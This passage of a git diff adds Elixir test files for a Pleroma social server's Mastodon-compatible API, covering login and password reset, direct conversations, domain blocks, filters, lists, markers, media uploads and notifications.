+ app = insert(:oauth_app, client_name: "Mastodon-Local", redirect_uris: ".")
+ auth = insert(:oauth_authorization, app: app)
+
+ conn = get(conn, "/web/login", %{code: auth.token})
+
+ assert conn.status == 302
+ assert redirected_to(conn) == "/web/getting-started"
+ end
+ end
+
+ describe "POST /auth/password, with valid parameters" do
+ setup %{conn: conn} do
+ user = insert(:user)
+ conn = post(conn, "/auth/password?email=#{user.email}")
+ %{conn: conn, user: user}
+ end
+
+ test "it returns 204", %{conn: conn} do
+ assert json_response(conn, :no_content)
+ end
+
+ test "it creates a PasswordResetToken record for user", %{user: user} do
+ token_record = Repo.get_by(Pleroma.PasswordResetToken, user_id: user.id)
+ assert token_record
+ end
+
+ test "it sends an email to user", %{user: user} do
+ ObanHelpers.perform_all()
+ token_record = Repo.get_by(Pleroma.PasswordResetToken, user_id: user.id)
+
+ email = Pleroma.Emails.UserEmail.password_reset_email(user, token_record.token)
+ notify_email = Config.get([:instance, :notify_email])
+ instance_name = Config.get([:instance, :name])
+
+ assert_email_sent(
+ from: {instance_name, notify_email},
+ to: {user.name, user.email},
+ html_body: email.html_body
+ )
+ end
+ end
+
+ describe "POST /auth/password, with invalid parameters" do
+ setup do
+ user = insert(:user)
+ {:ok, user: user}
+ end
+
+ test "it returns 404 when user is not found", %{conn: conn, user: user} do
+ conn = post(conn, "/auth/password?email=nonexisting_#{user.email}")
+ assert conn.status == 404
+ assert conn.resp_body == ""
+ end
+
+ test "it returns 400 when user is not local", %{conn: conn, user: user} do
+ {:ok, user} = Repo.update(Ecto.Changeset.change(user, local: false))
+ conn = post(conn, "/auth/password?email=#{user.email}")
+ assert conn.status == 400
+ assert conn.resp_body == ""
+ end
+ end
+
+ describe "DELETE /auth/sign_out" do
+ test "redirect to root page", %{conn: conn} do
+ user = insert(:user)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> delete("/auth/sign_out")
+
+ assert conn.status == 302
+ assert redirected_to(conn) == "/"
+ end
+ end
+end
diff --git a/test/web/mastodon_api/controllers/conversation_controller_test.exs b/test/web/mastodon_api/controllers/conversation_controller_test.exs
new file mode 100644
index 000000000..4bb9781a6
--- /dev/null
+++ b/test/web/mastodon_api/controllers/conversation_controller_test.exs
@@ -0,0 +1,208 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.ConversationControllerTest do
+ use Pleroma.Web.ConnCase
+
+ alias Pleroma.User
+ alias Pleroma.Web.CommonAPI
+
+ import Pleroma.Factory
+
+ setup do: oauth_access(["read:statuses"])
+
+ test "returns a list of conversations", %{user: user_one, conn: conn} do
+ user_two = insert(:user)
+ user_three = insert(:user)
+
+ {:ok, user_two} = User.follow(user_two, user_one)
+
+ assert User.get_cached_by_id(user_two.id).unread_conversation_count == 0
+
+ {:ok, direct} =
+ CommonAPI.post(user_one, %{
+ "status" => "Hi @#{user_two.nickname}, @#{user_three.nickname}!",
+ "visibility" => "direct"
+ })
+
+ assert User.get_cached_by_id(user_two.id).unread_conversation_count == 1
+
+ {:ok, _follower_only} =
+ CommonAPI.post(user_one, %{
+ "status" => "Hi @#{user_two.nickname}!",
+ "visibility" => "private"
+ })
+
+ res_conn = get(conn, "/api/v1/conversations")
+
+ assert response = json_response(res_conn, 200)
+
+ assert [
+ %{
+ "id" => res_id,
+ "accounts" => res_accounts,
+ "last_status" => res_last_status,
+ "unread" => unread
+ }
+ ] = response
+
+ account_ids = Enum.map(res_accounts, & &1["id"])
+ assert length(res_accounts) == 2
+ assert user_two.id in account_ids
+ assert user_three.id in account_ids
+ assert is_binary(res_id)
+ assert unread == false
+ assert res_last_status["id"] == direct.id
+ assert User.get_cached_by_id(user_one.id).unread_conversation_count == 0
+ end
+
+ test "filters conversations by recipients", %{user: user_one, conn: conn} do
+ user_two = insert(:user)
+ user_three = insert(:user)
+
+ {:ok, direct1} =
+ CommonAPI.post(user_one, %{
+ "status" => "Hi @#{user_two.nickname}!",
+ "visibility" => "direct"
+ })
+
+ {:ok, _direct2} =
+ CommonAPI.post(user_one, %{
+ "status" => "Hi @#{user_three.nickname}!",
+ "visibility" => "direct"
+ })
+
+ {:ok, direct3} =
+ CommonAPI.post(user_one, %{
+ "status" => "Hi @#{user_two.nickname}, @#{user_three.nickname}!",
+ "visibility" => "direct"
+ })
+
+ {:ok, _direct4} =
+ CommonAPI.post(user_two, %{
+ "status" => "Hi @#{user_three.nickname}!",
+ "visibility" => "direct"
+ })
+
+ {:ok, direct5} =
+ CommonAPI.post(user_two, %{
+ "status" => "Hi @#{user_one.nickname}!",
+ "visibility" => "direct"
+ })
+
+ [conversation1, conversation2] =
+ conn
+ |> get("/api/v1/conversations", %{"recipients" => [user_two.id]})
+ |> json_response(200)
+
+ assert conversation1["last_status"]["id"] == direct5.id
+ assert conversation2["last_status"]["id"] == direct1.id
+
+ [conversation1] =
+ conn
+ |> get("/api/v1/conversations", %{"recipients" => [user_two.id, user_three.id]})
+ |> json_response(200)
+
+ assert conversation1["last_status"]["id"] == direct3.id
+ end
+
+ test "updates the last_status on reply", %{user: user_one, conn: conn} do
+ user_two = insert(:user)
+
+ {:ok, direct} =
+ CommonAPI.post(user_one, %{
+ "status" => "Hi @#{user_two.nickname}",
+ "visibility" => "direct"
+ })
+
+ {:ok, direct_reply} =
+ CommonAPI.post(user_two, %{
+ "status" => "reply",
+ "visibility" => "direct",
+ "in_reply_to_status_id" => direct.id
+ })
+
+ [%{"last_status" => res_last_status}] =
+ conn
+ |> get("/api/v1/conversations")
+ |> json_response(200)
+
+ assert res_last_status["id"] == direct_reply.id
+ end
+
+ test "the user marks a conversation as read", %{user: user_one, conn: conn} do
+ user_two = insert(:user)
+
+ {:ok, direct} =
+ CommonAPI.post(user_one, %{
+ "status" => "Hi @#{user_two.nickname}",
+ "visibility" => "direct"
+ })
+
+ assert User.get_cached_by_id(user_one.id).unread_conversation_count == 0
+ assert User.get_cached_by_id(user_two.id).unread_conversation_count == 1
+
+ user_two_conn =
+ build_conn()
+ |> assign(:user, user_two)
+ |> assign(
+ :token,
+ insert(:oauth_token, user: user_two, scopes: ["read:statuses", "write:conversations"])
+ )
+
+ [%{"id" => direct_conversation_id, "unread" => true}] =
+ user_two_conn
+ |> get("/api/v1/conversations")
+ |> json_response(200)
+
+ %{"unread" => false} =
+ user_two_conn
+ |> post("/api/v1/conversations/#{direct_conversation_id}/read")
+ |> json_response(200)
+
+ assert User.get_cached_by_id(user_one.id).unread_conversation_count == 0
+ assert User.get_cached_by_id(user_two.id).unread_conversation_count == 0
+
+ # The conversation is marked as unread on reply
+ {:ok, _} =
+ CommonAPI.post(user_two, %{
+ "status" => "reply",
+ "visibility" => "direct",
+ "in_reply_to_status_id" => direct.id
+ })
+
+ [%{"unread" => true}] =
+ conn
+ |> get("/api/v1/conversations")
+ |> json_response(200)
+
+ assert User.get_cached_by_id(user_one.id).unread_conversation_count == 1
+ assert User.get_cached_by_id(user_two.id).unread_conversation_count == 0
+
+ # A reply doesn't increment the user's unread_conversation_count if the conversation is unread
+ {:ok, _} =
+ CommonAPI.post(user_two, %{
+ "status" => "reply",
+ "visibility" => "direct",
+ "in_reply_to_status_id" => direct.id
+ })
+
+ assert User.get_cached_by_id(user_one.id).unread_conversation_count == 1
+ assert User.get_cached_by_id(user_two.id).unread_conversation_count == 0
+ end
+
+ test "(vanilla) Mastodon frontend behaviour", %{user: user_one, conn: conn} do
+ user_two = insert(:user)
+
+ {:ok, direct} =
+ CommonAPI.post(user_one, %{
+ "status" => "Hi @#{user_two.nickname}!",
+ "visibility" => "direct"
+ })
+
+ res_conn = get(conn, "/api/v1/statuses/#{direct.id}/context")
+
+ assert %{"ancestors" => [], "descendants" => []} == json_response(res_conn, 200)
+ end
+end
diff --git a/test/web/mastodon_api/controllers/custom_emoji_controller_test.exs b/test/web/mastodon_api/controllers/custom_emoji_controller_test.exs
new file mode 100644
index 000000000..2d988b0b8
--- /dev/null
+++ b/test/web/mastodon_api/controllers/custom_emoji_controller_test.exs
@@ -0,0 +1,22 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.CustomEmojiControllerTest do
+ use Pleroma.Web.ConnCase, async: true
+
+ test "with tags", %{conn: conn} do
+ [emoji | _body] =
+ conn
+ |> get("/api/v1/custom_emojis")
+ |> json_response(200)
+
+ assert Map.has_key?(emoji, "shortcode")
+ assert Map.has_key?(emoji, "static_url")
+ assert Map.has_key?(emoji, "tags")
+ assert is_list(emoji["tags"])
+ assert Map.has_key?(emoji, "category")
+ assert Map.has_key?(emoji, "url")
+ assert Map.has_key?(emoji, "visible_in_picker")
+ end
+end
diff --git a/test/web/mastodon_api/controllers/domain_block_controller_test.exs b/test/web/mastodon_api/controllers/domain_block_controller_test.exs
new file mode 100644
index 000000000..55de625ba
--- /dev/null
+++ b/test/web/mastodon_api/controllers/domain_block_controller_test.exs
@@ -0,0 +1,45 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.DomainBlockControllerTest do
+ use Pleroma.Web.ConnCase
+
+ alias Pleroma.User
+
+ import Pleroma.Factory
+
+ test "blocking / unblocking a domain" do
+ %{user: user, conn: conn} = oauth_access(["write:blocks"])
+ other_user = insert(:user, %{ap_id: "https://dogwhistle.zone/@pundit"})
+
+ ret_conn = post(conn, "/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"})
+
+ assert %{} = json_response(ret_conn, 200)
+ user = User.get_cached_by_ap_id(user.ap_id)
+ assert User.blocks?(user, other_user)
+
+ ret_conn = delete(conn, "/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"})
+
+ assert %{} = json_response(ret_conn, 200)
+ user = User.get_cached_by_ap_id(user.ap_id)
+ refute User.blocks?(user, other_user)
+ end
+
+ test "getting a list of domain blocks" do
+ %{user: user, conn: conn} = oauth_access(["read:blocks"])
+
+ {:ok, user} = User.block_domain(user, "bad.site")
+ {:ok, user} = User.block_domain(user, "even.worse.site")
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/domain_blocks")
+
+ domain_blocks = json_response(conn, 200)
+
+ assert "bad.site" in domain_blocks
+ assert "even.worse.site" in domain_blocks
+ end
+end
diff --git a/test/web/mastodon_api/controllers/filter_controller_test.exs b/test/web/mastodon_api/controllers/filter_controller_test.exs
new file mode 100644
index 000000000..3aea17ec7
--- /dev/null
+++ b/test/web/mastodon_api/controllers/filter_controller_test.exs
@@ -0,0 +1,123 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.FilterControllerTest do
+ use Pleroma.Web.ConnCase
+
+ alias Pleroma.Web.MastodonAPI.FilterView
+
+ test "creating a filter" do
+ %{conn: conn} = oauth_access(["write:filters"])
+
+ filter = %Pleroma.Filter{
+ phrase: "knights",
+ context: ["home"]
+ }
+
+ conn = post(conn, "/api/v1/filters", %{"phrase" => filter.phrase, context: filter.context})
+
+ assert response = json_response(conn, 200)
+ assert response["phrase"] == filter.phrase
+ assert response["context"] == filter.context
+ assert response["irreversible"] == false
+ assert response["id"] != nil
+ assert response["id"] != ""
+ end
+
+ test "fetching a list of filters" do
+ %{user: user, conn: conn} = oauth_access(["read:filters"])
+
+ query_one = %Pleroma.Filter{
+ user_id: user.id,
+ filter_id: 1,
+ phrase: "knights",
+ context: ["home"]
+ }
+
+ query_two = %Pleroma.Filter{
+ user_id: user.id,
+ filter_id: 2,
+ phrase: "who",
+ context: ["home"]
+ }
+
+ {:ok, filter_one} = Pleroma.Filter.create(query_one)
+ {:ok, filter_two} = Pleroma.Filter.create(query_two)
+
+ response =
+ conn
+ |> get("/api/v1/filters")
+ |> json_response(200)
+
+ assert response ==
+ render_json(
+ FilterView,
+ "filters.json",
+ filters: [filter_two, filter_one]
+ )
+ end
+
+ test "get a filter" do
+ %{user: user, conn: conn} = oauth_access(["read:filters"])
+
+ query = %Pleroma.Filter{
+ user_id: user.id,
+ filter_id: 2,
+ phrase: "knight",
+ context: ["home"]
+ }
+
+ {:ok, filter} = Pleroma.Filter.create(query)
+
+ conn = get(conn, "/api/v1/filters/#{filter.filter_id}")
+
+ assert _response = json_response(conn, 200)
+ end
+
+ test "update a filter" do
+ %{user: user, conn: conn} = oauth_access(["write:filters"])
+
+ query = %Pleroma.Filter{
+ user_id: user.id,
+ filter_id: 2,
+ phrase: "knight",
+ context: ["home"]
+ }
+
+ {:ok, _filter} = Pleroma.Filter.create(query)
+
+ new = %Pleroma.Filter{
+ phrase: "nii",
+ context: ["home"]
+ }
+
+ conn =
+ put(conn, "/api/v1/filters/#{query.filter_id}", %{
+ phrase: new.phrase,
+ context: new.context
+ })
+
+ assert response = json_response(conn, 200)
+ assert response["phrase"] == new.phrase
+ assert response["context"] == new.context
+ end
+
+ test "delete a filter" do
+ %{user: user, conn: conn} = oauth_access(["write:filters"])
+
+ query = %Pleroma.Filter{
+ user_id: user.id,
+ filter_id: 2,
+ phrase: "knight",
+ context: ["home"]
+ }
+
+ {:ok, filter} = Pleroma.Filter.create(query)
+
+ conn = delete(conn, "/api/v1/filters/#{filter.filter_id}")
+
+ assert response = json_response(conn, 200)
+ assert response == %{}
+ end
+end
diff --git a/test/web/mastodon_api/controllers/follow_request_controller_test.exs b/test/web/mastodon_api/controllers/follow_request_controller_test.exs
new file mode 100644
index 000000000..6e4a76501
--- /dev/null
+++ b/test/web/mastodon_api/controllers/follow_request_controller_test.exs
@@ -0,0 +1,74 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.FollowRequestControllerTest do
+ use Pleroma.Web.ConnCase
+
+ alias Pleroma.User
+ alias Pleroma.Web.ActivityPub.ActivityPub
+
+ import Pleroma.Factory
+
+ describe "locked accounts" do
+ setup do
+ user = insert(:user, locked: true)
+ %{conn: conn} = oauth_access(["follow"], user: user)
+ %{user: user, conn: conn}
+ end
+
+ test "/api/v1/follow_requests works", %{user: user, conn: conn} do
+ other_user = insert(:user)
+
+ {:ok, _activity} = ActivityPub.follow(other_user, user)
+ {:ok, other_user} = User.follow(other_user, user, "pending")
+
+ assert User.following?(other_user, user) == false
+
+ conn = get(conn, "/api/v1/follow_requests")
+
+ assert [relationship] = json_response(conn, 200)
+ assert to_string(other_user.id) == relationship["id"]
+ end
+
+ test "/api/v1/follow_requests/:id/authorize works", %{user: user, conn: conn} do
+ other_user = insert(:user)
+
+ {:ok, _activity} = ActivityPub.follow(other_user, user)
+ {:ok, other_user} = User.follow(other_user, user, "pending")
+
+ user = User.get_cached_by_id(user.id)
+ other_user = User.get_cached_by_id(other_user.id)
+
+ assert User.following?(other_user, user) == false
+
+ conn = post(conn, "/api/v1/follow_requests/#{other_user.id}/authorize")
+
+ assert relationship = json_response(conn, 200)
+ assert to_string(other_user.id) == relationship["id"]
+
+ user = User.get_cached_by_id(user.id)
+ other_user = User.get_cached_by_id(other_user.id)
+
+ assert User.following?(other_user, user) == true
+ end
+
+ test "/api/v1/follow_requests/:id/reject works", %{user: user, conn: conn} do
+ other_user = insert(:user)
+
+ {:ok, _activity} = ActivityPub.follow(other_user, user)
+
+ user = User.get_cached_by_id(user.id)
+
+ conn = post(conn, "/api/v1/follow_requests/#{other_user.id}/reject")
+
+ assert relationship = json_response(conn, 200)
+ assert to_string(other_user.id) == relationship["id"]
+
+ user = User.get_cached_by_id(user.id)
+ other_user = User.get_cached_by_id(other_user.id)
+
+ assert User.following?(other_user, user) == false
+ end
+ end
+end
diff --git a/test/web/mastodon_api/controllers/instance_controller_test.exs b/test/web/mastodon_api/controllers/instance_controller_test.exs
new file mode 100644
index 000000000..e00de6b18
--- /dev/null
+++ b/test/web/mastodon_api/controllers/instance_controller_test.exs
@@ -0,0 +1,77 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.InstanceControllerTest do
+ use Pleroma.Web.ConnCase
+
+ alias Pleroma.User
+ import Pleroma.Factory
+
+ test "get instance information", %{conn: conn} do
+ conn = get(conn, "/api/v1/instance")
+ assert result = json_response(conn, 200)
+
+ email = Pleroma.Config.get([:instance, :email])
+ # Note: not checking for "max_toot_chars" since it's optional
+ assert %{
+ "uri" => _,
+ "title" => _,
+ "description" => _,
+ "version" => _,
+ "email" => from_config_email,
+ "urls" => %{
+ "streaming_api" => _
+ },
+ "stats" => _,
+ "thumbnail" => _,
+ "languages" => _,
+ "registrations" => _,
+ "poll_limits" => _,
+ "upload_limit" => _,
+ "avatar_upload_limit" => _,
+ "background_upload_limit" => _,
+ "banner_upload_limit" => _
+ } = result
+
+ assert email == from_config_email
+ end
+
+ test "get instance stats", %{conn: conn} do
+ user = insert(:user, %{local: true})
+
+ user2 = insert(:user, %{local: true})
+ {:ok, _user2} = User.deactivate(user2, !user2.deactivated)
+
+ insert(:user, %{local: false, nickname: "u@peer1.com"})
+ insert(:user, %{local: false, nickname: "u@peer2.com"})
+
+ {:ok, _} = Pleroma.Web.CommonAPI.post(user, %{"status" => "cofe"})
+
+ Pleroma.Stats.force_update()
+
+ conn = get(conn, "/api/v1/instance")
+
+ assert result = json_response(conn, 200)
+
+ stats = result["stats"]
+
+ assert stats
+ assert stats["user_count"] == 1
+ assert stats["status_count"] == 1
+ assert stats["domain_count"] == 2
+ end
+
+ test "get peers", %{conn: conn} do
+ insert(:user, %{local: false, nickname: "u@peer1.com"})
+ insert(:user, %{local: false, nickname: "u@peer2.com"})
+
+ Pleroma.Stats.force_update()
+
+ conn = get(conn, "/api/v1/instance/peers")
+
+ assert result = json_response(conn, 200)
+
+ assert ["peer1.com", "peer2.com"] == Enum.sort(result)
+ end
+end
diff --git a/test/web/mastodon_api/controllers/list_controller_test.exs b/test/web/mastodon_api/controllers/list_controller_test.exs
new file mode 100644
index 000000000..a6effbb69
--- /dev/null
+++ b/test/web/mastodon_api/controllers/list_controller_test.exs
@@ -0,0 +1,142 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.ListControllerTest do
+ use Pleroma.Web.ConnCase
+
+ alias Pleroma.Repo
+
+ import Pleroma.Factory
+
+ test "creating a list" do
+ %{conn: conn} = oauth_access(["write:lists"])
+
+ conn = post(conn, "/api/v1/lists", %{"title" => "cuties"})
+
+ assert %{"title" => title} = json_response(conn, 200)
+ assert title == "cuties"
+ end
+
+ test "renders error for invalid params" do
+ %{conn: conn} = oauth_access(["write:lists"])
+
+ conn = post(conn, "/api/v1/lists", %{"title" => nil})
+
+ assert %{"error" => "can't be blank"} == json_response(conn, :unprocessable_entity)
+ end
+
+ test "listing a user's lists" do
+ %{conn: conn} = oauth_access(["read:lists", "write:lists"])
+
+ conn
+ |> post("/api/v1/lists", %{"title" => "cuties"})
+ |> json_response(:ok)
+
+ conn
+ |> post("/api/v1/lists", %{"title" => "cofe"})
+ |> json_response(:ok)
+
+ conn = get(conn, "/api/v1/lists")
+
+ assert [
+ %{"id" => _, "title" => "cofe"},
+ %{"id" => _, "title" => "cuties"}
+ ] = json_response(conn, :ok)
+ end
+
+ test "adding users to a list" do
+ %{user: user, conn: conn} = oauth_access(["write:lists"])
+ other_user = insert(:user)
+ {:ok, list} = Pleroma.List.create("name", user)
+
+ conn = post(conn, "/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]})
+
+ assert %{} == json_response(conn, 200)
+ %Pleroma.List{following: following} = Pleroma.List.get(list.id, user)
+ assert following == [other_user.follower_address]
+ end
+
+ test "removing users from a list" do
+ %{user: user, conn: conn} = oauth_access(["write:lists"])
+ other_user = insert(:user)
+ third_user = insert(:user)
+ {:ok, list} = Pleroma.List.create("name", user)
+ {:ok, list} = Pleroma.List.follow(list, other_user)
+ {:ok, list} = Pleroma.List.follow(list, third_user)
+
+ conn = delete(conn, "/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]})
+
+ assert %{} == json_response(conn, 200)
+ %Pleroma.List{following: following} = Pleroma.List.get(list.id, user)
+ assert following == [third_user.follower_address]
+ end
+
+ test "listing users in a list" do
+ %{user: user, conn: conn} = oauth_access(["read:lists"])
+ other_user = insert(:user)
+ {:ok, list} = Pleroma.List.create("name", user)
+ {:ok, list} = Pleroma.List.follow(list, other_user)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]})
+
+ assert [%{"id" => id}] = json_response(conn, 200)
+ assert id == to_string(other_user.id)
+ end
+
+ test "retrieving a list" do
+ %{user: user, conn: conn} = oauth_access(["read:lists"])
+ {:ok, list} = Pleroma.List.create("name", user)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/lists/#{list.id}")
+
+ assert %{"id" => id} = json_response(conn, 200)
+ assert id == to_string(list.id)
+ end
+
+ test "renders 404 if list is not found" do
+ %{conn: conn} = oauth_access(["read:lists"])
+
+ conn = get(conn, "/api/v1/lists/666")
+
+ assert %{"error" => "List not found"} = json_response(conn, :not_found)
+ end
+
+ test "renaming a list" do
+ %{user: user, conn: conn} = oauth_access(["write:lists"])
+ {:ok, list} = Pleroma.List.create("name", user)
+
+ conn = put(conn, "/api/v1/lists/#{list.id}", %{"title" => "newname"})
+
+ assert %{"title" => name} = json_response(conn, 200)
+ assert name == "newname"
+ end
+
+ test "validates title when renaming a list" do
+ %{user: user, conn: conn} = oauth_access(["write:lists"])
+ {:ok, list} = Pleroma.List.create("name", user)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> put("/api/v1/lists/#{list.id}", %{"title" => " "})
+
+ assert %{"error" => "can't be blank"} == json_response(conn, :unprocessable_entity)
+ end
+
+ test "deleting a list" do
+ %{user: user, conn: conn} = oauth_access(["write:lists"])
+ {:ok, list} = Pleroma.List.create("name", user)
+
+ conn = delete(conn, "/api/v1/lists/#{list.id}")
+
+ assert %{} = json_response(conn, 200)
+ assert is_nil(Repo.get(Pleroma.List, list.id))
+ end
+end
diff --git a/test/web/mastodon_api/controllers/marker_controller_test.exs b/test/web/mastodon_api/controllers/marker_controller_test.exs
new file mode 100644
index 000000000..1fcad873d
--- /dev/null
+++ b/test/web/mastodon_api/controllers/marker_controller_test.exs
@@ -0,0 +1,124 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.MarkerControllerTest do
+ use Pleroma.Web.ConnCase
+
+ import Pleroma.Factory
+
+ describe "GET /api/v1/markers" do
+ test "gets markers with correct scopes", %{conn: conn} do
+ user = insert(:user)
+ token = insert(:oauth_token, user: user, scopes: ["read:statuses"])
+
+ {:ok, %{"notifications" => marker}} =
+ Pleroma.Marker.upsert(
+ user,
+ %{"notifications" => %{"last_read_id" => "69420"}}
+ )
+
+ response =
+ conn
+ |> assign(:user, user)
+ |> assign(:token, token)
+ |> get("/api/v1/markers", %{timeline: ["notifications"]})
+ |> json_response(200)
+
+ assert response == %{
+ "notifications" => %{
+ "last_read_id" => "69420",
+ "updated_at" => NaiveDateTime.to_iso8601(marker.updated_at),
+ "version" => 0
+ }
+ }
+ end
+
+ test "gets markers with missed scopes", %{conn: conn} do
+ user = insert(:user)
+ token = insert(:oauth_token, user: user, scopes: [])
+
+ Pleroma.Marker.upsert(user, %{"notifications" => %{"last_read_id" => "69420"}})
+
+ response =
+ conn
+ |> assign(:user, user)
+ |> assign(:token, token)
+ |> get("/api/v1/markers", %{timeline: ["notifications"]})
+ |> json_response(403)
+
+ assert response == %{"error" => "Insufficient permissions: read:statuses."}
+ end
+ end
+
+ describe "POST /api/v1/markers" do
+ test "creates a marker with correct scopes", %{conn: conn} do
+ user = insert(:user)
+ token = insert(:oauth_token, user: user, scopes: ["write:statuses"])
+
+ response =
+ conn
+ |> assign(:user, user)
+ |> assign(:token, token)
+ |> post("/api/v1/markers", %{
+ home: %{last_read_id: "777"},
+ notifications: %{"last_read_id" => "69420"}
+ })
+ |> json_response(200)
+
+ assert %{
+ "notifications" => %{
+ "last_read_id" => "69420",
+ "updated_at" => _,
+ "version" => 0
+ }
+ } = response
+ end
+
+ test "updates exist marker", %{conn: conn} do
+ user = insert(:user)
+ token = insert(:oauth_token, user: user, scopes: ["write:statuses"])
+
+ {:ok, %{"notifications" => marker}} =
+ Pleroma.Marker.upsert(
+ user,
+ %{"notifications" => %{"last_read_id" => "69477"}}
+ )
+
+ response =
+ conn
+ |> assign(:user, user)
+ |> assign(:token, token)
+ |> post("/api/v1/markers", %{
+ home: %{last_read_id: "777"},
+ notifications: %{"last_read_id" => "69888"}
+ })
+ |> json_response(200)
+
+ assert response == %{
+ "notifications" => %{
+ "last_read_id" => "69888",
+ "updated_at" => NaiveDateTime.to_iso8601(marker.updated_at),
+ "version" => 0
+ }
+ }
+ end
+
+ test "creates a marker with missed scopes", %{conn: conn} do
+ user = insert(:user)
+ token = insert(:oauth_token, user: user, scopes: [])
+
+ response =
+ conn
+ |> assign(:user, user)
+ |> assign(:token, token)
+ |> post("/api/v1/markers", %{
+ home: %{last_read_id: "777"},
+ notifications: %{"last_read_id" => "69420"}
+ })
+ |> json_response(403)
+
+ assert response == %{"error" => "Insufficient permissions: write:statuses."}
+ end
+ end
+end
diff --git a/test/web/mastodon_api/controllers/media_controller_test.exs b/test/web/mastodon_api/controllers/media_controller_test.exs
new file mode 100644
index 000000000..042511ca4
--- /dev/null
+++ b/test/web/mastodon_api/controllers/media_controller_test.exs
@@ -0,0 +1,82 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.MediaControllerTest do
+ use Pleroma.Web.ConnCase
+
+ alias Pleroma.Object
+ alias Pleroma.User
+ alias Pleroma.Web.ActivityPub.ActivityPub
+
+ setup do: oauth_access(["write:media"])
+
+ describe "media upload" do
+ setup do
+ image = %Plug.Upload{
+ content_type: "image/jpg",
+ path: Path.absname("test/fixtures/image.jpg"),
+ filename: "an_image.jpg"
+ }
+
+ [image: image]
+ end
+
+ clear_config([:media_proxy])
+ clear_config([Pleroma.Upload])
+
+ test "returns uploaded image", %{conn: conn, image: image} do
+ desc = "Description of the image"
+
+ media =
+ conn
+ |> post("/api/v1/media", %{"file" => image, "description" => desc})
+ |> json_response(:ok)
+
+ assert media["type"] == "image"
+ assert media["description"] == desc
+ assert media["id"]
+
+ object = Object.get_by_id(media["id"])
+ assert object.data["actor"] == User.ap_id(conn.assigns[:user])
+ end
+ end
+
+ describe "PUT /api/v1/media/:id" do
+ setup %{user: actor} do
+ file = %Plug.Upload{
+ content_type: "image/jpg",
+ path: Path.absname("test/fixtures/image.jpg"),
+ filename: "an_image.jpg"
+ }
+
+ {:ok, %Object{} = object} =
+ ActivityPub.upload(
+ file,
+ actor: User.ap_id(actor),
+ description: "test-m"
+ )
+
+ [object: object]
+ end
+
+ test "updates name of media", %{conn: conn, object: object} do
+ media =
+ conn
+ |> put("/api/v1/media/#{object.id}", %{"description" => "test-media"})
+ |> json_response(:ok)
+
+ assert media["description"] == "test-media"
+ assert refresh_record(object).data["name"] == "test-media"
+ end
+
+ test "returns error when request is bad", %{conn: conn, object: object} do
+ media =
+ conn
+ |> put("/api/v1/media/#{object.id}", %{})
+ |> json_response(400)
+
+ assert media == %{"error" => "bad_request"}
+ end
+ end
+end
diff --git a/test/web/mastodon_api/controllers/notification_controller_test.exs b/test/web/mastodon_api/controllers/notification_controller_test.exs
new file mode 100644
index 000000000..6f0606250
--- /dev/null
+++ b/test/web/mastodon_api/controllers/notification_controller_test.exs
@@ -0,0 +1,490 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.NotificationControllerTest do
+ use Pleroma.Web.ConnCase
+
+ alias Pleroma.Notification
+ alias Pleroma.Repo
+ alias Pleroma.User
+ alias Pleroma.Web.CommonAPI
+
+ import Pleroma.Factory
+
+ test "list of notifications" do
+ %{user: user, conn: conn} = oauth_access(["read:notifications"])
+ other_user = insert(:user)
+
+ {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
+
+ {:ok, [_notification]} = Notification.create_notifications(activity)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/notifications")
+
+ expected_response =
+ "hi <span class=\"h-card\"><a data-user=\"#{user.id}\" class=\"u-url mention\" href=\"#{
+ user.ap_id
+ }\" rel=\"ugc\">@<span>#{user.nickname}</span></a></span>"
+
+ assert [%{"status" => %{"content" => response}} | _rest] = json_response(conn, 200)
+ assert response == expected_response
+ end
+
+ test "getting a single notification" do
+ %{user: user, conn: conn} = oauth_access(["read:notifications"])
+ other_user = insert(:user)
+
+ {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
+
